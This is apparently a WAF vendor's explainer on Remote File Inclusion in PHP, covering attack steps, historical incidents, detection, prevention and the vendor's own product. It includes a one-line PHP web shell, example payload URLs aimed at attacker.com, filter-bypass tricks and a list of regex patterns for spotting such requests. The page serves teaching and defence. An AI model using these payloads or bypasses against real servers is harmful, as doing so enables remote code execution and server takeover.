Skip to main content
CriticalProtected by PowerWAF

Remote File Inclusion (RFI)

CategoryFile & PathOWASPA03:2021 – InjectionFirst seen2002Read time9 minVerified2026-03-11
DEFINITION

Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include and execute a file hosted on a remote server through the target application's file inclusion mechanism. By injecting a URL pointing to attacker-controlled malicious code, the attacker achieves immediate remote code execution on the target server without needing to upload files or exploit additional vulnerabilities.

How Remote File Inclusion (RFI) Works

RFI exploits the same file inclusion functions as LFI (PHP's include(), require(), etc.) but instead of traversing to local files, the attacker provides a URL to a file hosted on their own server. When the application processes the inclusion, it fetches the remote file and executes its contents as server-side code. This makes RFI one of the most dangerous web vulnerabilities because it provides direct, immediate remote code execution with minimal complexity. The main prerequisite in PHP is allow_url_include=On, which is disabled by default since PHP 5.2 but is still found enabled in legacy applications, misconfigured servers, and certain CMS plugins that require it.

1

Identify file inclusion parameters

The attacker locates parameters that control file inclusion. Common patterns include: ?page=about, ?template=header, ?module=users, ?lang=en, ?theme=default. Testing is done by injecting a URL to an attacker-controlled server: ?page=http://attacker.com/test.txt. If the server fetches the remote file, the vulnerability is confirmed. Response differences (content from the remote file appearing in the response, or connection logs on the attacker's server) indicate successful remote inclusion.

2

Prepare the malicious payload

The attacker hosts a file on their server containing malicious code matching the target's server-side language. For PHP targets: <?php system($_GET['cmd']); ?> β€” a simple web shell that executes any command passed via the cmd parameter. More sophisticated payloads include full-featured web shells (c99, WSO), reverse shell scripts, or code that installs persistent backdoors. The payload file is hosted on a server the attacker controls, often with an innocuous extension (.txt, .jpg) to evade basic URL filtering.

3

Trigger remote inclusion

The attacker injects the remote URL into the vulnerable parameter: ?page=http://attacker.com/shell.txt. The target server fetches the remote file via HTTP/HTTPS and passes its contents to the include() function. If the application appends an extension (.php), the attacker uses a query string trick: ?page=http://attacker.com/shell.txt? β€” the trailing ? causes the appended .php to become a query parameter on the remote URL, which is ignored. Alternatively, a null byte (%00) works on older PHP versions.

4

Execute commands on the target server

Once the remote code is included and executed, the attacker has full code execution on the target server. They can execute system commands (whoami, ls, cat /etc/passwd), access databases using the application's stored credentials, read and modify any file accessible to the web server process, install persistent backdoors, establish reverse shell connections for interactive access, and pivot to internal network resources.

5

Establish persistent access

The attacker moves beyond the RFI entry point to establish persistence: writing PHP web shells to the document root, modifying .htaccess for hidden functionality, creating cron jobs for callback connections, adding SSH keys for direct server access, compromising the application's database to inject backdoor user accounts, or deploying rootkits. This ensures continued access even if the RFI vulnerability is patched.

Real-World Examples

2009

phpMyAdmin RFI vulnerabilities

Multiple RFI vulnerabilities in phpMyAdmin, the most popular MySQL administration tool, allowed unauthenticated attackers to execute arbitrary code on database servers. Since phpMyAdmin installations have direct database access and are often deployed on the same server as the database, successful exploitation gave attackers complete control over the database contents and the server itself. Millions of web hosting environments were affected.

2014

WordPress plugin RFI epidemic

A wave of RFI attacks targeted vulnerable WordPress plugins including RevSlider, MailPoet, and Gravity Forms. The RevSlider vulnerability alone affected over 100,000 WordPress sites. Attackers used automated scanners to find vulnerable installations and inject backdoors through RFI, creating a massive botnet of compromised WordPress sites used for spam distribution, malware hosting, and DDoS attacks.

2018

Drupalgeddon 2 β€” Drupal CMS RCE

While technically a code injection rather than classic RFI, Drupalgeddon 2 (CVE-2018-7600) exploited Drupal's rendering pipeline to achieve remote code execution with similar impact to RFI. The vulnerability affected an estimated one million Drupal sites, and exploitation began within hours of disclosure. Attackers deployed cryptocurrency miners, web shells, and ransomware. The incident highlighted how inclusion/execution vulnerabilities in popular CMS platforms can have internet-scale impact.

Impact & Risk Assessment

Remote File Inclusion is among the most severe web vulnerabilities because it provides immediate, direct remote code execution with minimal exploitation complexity. The attacker doesn't need to upload files, chain vulnerabilities, or perform complex injection β€” they simply point the application to their malicious file. Impact is equivalent to full server compromise: the attacker can execute arbitrary commands, access all data on the server, modify or delete files, install persistent backdoors, pivot to internal networks, and use the compromised server as infrastructure for further attacks. RFI has been used to build botnets of millions of compromised web servers, deploy ransomware across hosting environments, and establish persistent footholds in enterprise networks. The severity is magnified because vulnerable applications often have database credentials, API keys, and access to internal services that the attacker can leverage for lateral movement.

How to Detect Remote File Inclusion (RFI)

Monitor request parameters for URLs pointing to external domains: look for http://, https://, ftp://, and protocol-relative URLs (//) in parameters that are normally used for page selection or template loading. WAF rules should detect URL patterns in file inclusion parameters, including encoded variants (%68%74%74%70 for 'http'). Monitor outbound connections from the web server β€” a web server fetching content from unknown external URLs is a strong indicator of RFI exploitation. Analyze server logs for inclusion of suspicious remote resources. Deploy application-level logging that records all file include/require operations and flags any that resolve to URLs rather than local paths. Network-level monitoring should alert on web server processes making outbound HTTP requests to unknown destinations, as this is atypical behavior for servers that should only respond to incoming requests.

How to Prevent Remote File Inclusion (RFI)

Disable allow_url_include in PHP configuration (php.ini) β€” this is the single most effective prevention for PHP-based RFI and is disabled by default in modern PHP versions. Disable allow_url_fopen if remote URL access is not needed by the application. Implement strict input validation using an allowlist of permitted page/template names mapped to local files via a lookup table β€” never use user input as part of a file path or URL. If dynamic file inclusion is necessary, validate that the resolved path is a local file within the expected directory. Deploy Content Security Policy and network-level egress filtering to restrict the web server's ability to fetch external resources. Use a WAF with RFI-specific rules that detect URL injection in parameters. Keep all CMS platforms, plugins, and frameworks updated β€” RFI vulnerabilities in popular CMS plugins are among the most actively exploited vulnerabilities on the internet. In containerized environments, restrict outbound network access from application containers to only explicitly required destinations.

Code Examples

Vulnerable: Direct user input in include
<?php
// VULNERABLE: User input directly used in include()
$page = $_GET['page'];
include($page . '.php');

// Normal use: ?page=home β†’ includes home.php
// RFI attack: ?page=http://attacker.com/shell.txt?
// The trailing '?' makes '.php' a query parameter, ignored by the remote server
// The remote file contains: <?php system($_GET['cmd']); ?>
// Now the attacker can execute: ?page=http://attacker.com/shell.txt?&cmd=whoami

// Another vulnerable pattern:
$template = $_GET['template'];
include("templates/" . $template);
// RFI: ?template=http://attacker.com/shell.php
?>
Secure: Allowlist + PHP configuration hardening
<?php
// php.ini hardening (set these directives):
// allow_url_include = Off (blocks RFI entirely)
// allow_url_fopen = Off (blocks remote URL file operations)
// open_basedir = /var/www/ (restricts file access)

// SECURE: Allowlist-based page loading
$page_map = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
'products' => 'pages/products.php',
'pricing' => 'pages/pricing.php',
];

$requested = $_GET['page'] ?? 'home';

// Only alphanumeric input allowed
if (!preg_match('/^[a-z0-9_-]+$/i', $requested)) {
http_response_code(400);
die('Invalid page parameter');
}

// Strict allowlist lookup
if (!isset($page_map[$requested])) {
http_response_code(404);
include('pages/404.php');
exit;
}

// Include only from the pre-defined map
include($page_map[$requested]);
?>
WAF rule: RFI detection patterns
import re
import urllib.parse

RFI_PATTERNS = [
# Direct URL protocols
r'https?:\/\/',
r'ftp:\/\/',
r'ftps:\/\/',
# Protocol-relative URLs
r'^\/\/',
# Encoded protocols
r'%68%74%74%70', # http
r'%48%54%54%50', # HTTP
r'%66%74%70', # ftp
# Data URI (potential code execution)
r'data:\/\/',
r'data:text\/plain',
r'data:text\/html',
# PHP expect wrapper (command execution)
r'expect:\/\/',
# IP-based URLs (bypass domain filtering)
r'https?:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
r'https?:\/\/0x[0-9a-fA-F]+', # Hex IP
r'https?:\/\/\d{8,10}', # Decimal IP
]

def detect_rfi(params, file_params=None):
"""Detect RFI attempts in request parameters.

Args:
params: dict of request parameters
file_params: optional list of parameter names known to handle files
(e.g., ['page', 'template', 'module', 'lang'])
"""
# Check all params, or only file-related ones
check_params = file_params or params.keys()
compiled = [re.compile(p, re.IGNORECASE) for p in RFI_PATTERNS]

for param_name in check_params:
if param_name not in params:
continue

raw_value = params[param_name]
# Decode multiple levels of URL encoding
decoded = raw_value
for _ in range(3): # Up to triple encoding
decoded = urllib.parse.unquote(decoded)

for pattern in compiled:
if pattern.search(decoded):
return {
'detected': True,
'type': 'rfi',
'parameter': param_name,
'raw_value': raw_value,
'decoded_value': decoded,
'matched_pattern': pattern.pattern
}

return {'detected': False}

PowerWAF automatically blocks Remote File Inclusion (RFI) at the edge.

Deploy in minutes. No code changes required. Free plan available.

Free plan spots are limited

Frequently Asked Questions

RFI includes files from remote URLs (http://attacker.com/shell.php) while LFI includes files from the local server's file system (../../etc/passwd). RFI is more directly dangerous because the attacker fully controls the included file's content, enabling immediate code execution. LFI requires additional techniques (log poisoning, PHP wrappers) to achieve code execution. However, LFI is much more common because RFI's main prerequisite (allow_url_include=On in PHP) is disabled by default.
Direct PHP RFI requires allow_url_include=On, which is disabled by default since PHP 5.2 (2006). However, RFI remains relevant for several reasons: legacy applications may re-enable it, some CMS plugins explicitly require it, non-PHP frameworks may have similar capabilities without the same restriction, and related techniques (SSRF, XXE, deserialization) can achieve similar remote inclusion effects. The underlying vulnerability pattern β€” trusting user input to control resource loading β€” manifests across many technologies.
Yes. While PHP is the most common context, RFI-like vulnerabilities exist in other technologies: Java/JSP applications that load remote XML configurations, Python applications that import modules from user-controlled paths, Node.js applications that require() modules from URLs (with certain loaders), and any application that fetches and processes remote resources based on user input. Server-Side Request Forgery (SSRF) is a closely related modern equivalent that affects all server-side technologies.
Common bypass techniques include: URL encoding (http β†’ %68%74%74%70), using IP address formats instead of domain names (http://0x7f000001/ for localhost), data URIs (data://text/plain;base64,PD9waHA...), wrapping the URL in URL shorteners, using DNS rebinding to make an external domain resolve to an internal IP, abusing open redirects on trusted domains, and protocol-relative URLs (//attacker.com/shell.txt). Effective filtering must normalize and decode input before validation.
Yes, a WAF provides strong protection against RFI by detecting URL patterns in request parameters, blocking requests containing remote resource references (http://, https://, ftp://), and identifying encoded bypass attempts. PowerWAF includes comprehensive RFI detection covering direct URLs, encoded variants, protocol-relative references, and IP-based bypasses. WAF protection is highly effective for RFI because the attack signature β€” a URL in a file inclusion parameter β€” is distinctive and has few legitimate use cases.